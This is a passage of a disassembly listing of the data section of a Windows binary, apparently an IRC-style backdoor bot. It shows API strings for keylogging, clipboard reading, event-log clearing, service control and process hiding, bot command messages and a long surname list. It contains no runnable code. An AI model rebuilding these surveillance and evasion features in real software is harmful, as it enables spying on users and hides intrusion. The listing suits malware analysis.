sub_4098FD+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4098FD+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_4098FD+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4098FD+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4098FD+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4098FD+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4098FD+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4098FD+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4098FD+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4098FD:loc_409D2Ao align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4098FD:loc_409D02o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4098FD+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4098FD+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4098FD+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4098FD+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_4098FD+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4098FD+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4098FD+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4098FD:loc_409C54o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4098FD+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4098FD+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4098FD:loc_409C0Fo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4098FD+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4098FD+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4098FD+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4098FD+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4098FD+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4098FD+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4098FD+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4098FD+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4098FD:loc_409B5Co align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4098FD+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4098FD+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4098FD+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4098FD:loc_409AF5o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4098FD+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4098FD+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4098FD+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4098FD+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4098FD+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4098FD+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4098FD+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4098FD+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4098FD:loc_409A32o ; sub_424C88+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4098FD:loc_409A05o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4098FD+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4098FD+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4098FD+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4098FD+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4098FD+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4098FD+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4098FD+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4098FD+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_4098FD+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4098FD+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4098FD+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4098FD+Ao align 10h unk_42D6D0 db 2Dh ; - ; DATA XREF: sub_40A5B9+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+28o align 4 a_: ; DATA XREF: sub_410330+24Do unicode 0, <.>,0 unk_42D860 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A9DBo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_42D890 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A9A9o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_42D8C0 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A975o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D8E4 db 2Dh ; - ; DATA XREF: sub_40A91C+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40A9FA+46o ; sub_40C29A+38o align 10h aReal db 'real',0 align 4 dd 0 dword_42D92C dd 0 ; DATA XREF: sub_40AE77+7o off_42D930 dd offset sub_40AAA0 ; DATA XREF: sub_40AE77+49r aConst db 'const',0 align 10h dd 1, 40AB0Ch, 7474656Ch, 7265h, 0 dd 2, 40AB6Ah, 706D6F63h, 2 dup(0) dd 3, 40ABB7h, 6E756F63h, 797274h, 0 dd 4, 40AC55h, 736Fh, 2 dup(0) dd 5, 40ACCAh, 6E6C6C61h, 6B6369h, 0 dd 6, 40AEE0h off_42D9AC dd offset aAbdulrazak ; DATA XREF: sub_40AAA0+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D9B8 dd offset aAddison ; DATA XREF: sub_40AE77+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset dword_430058 dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset 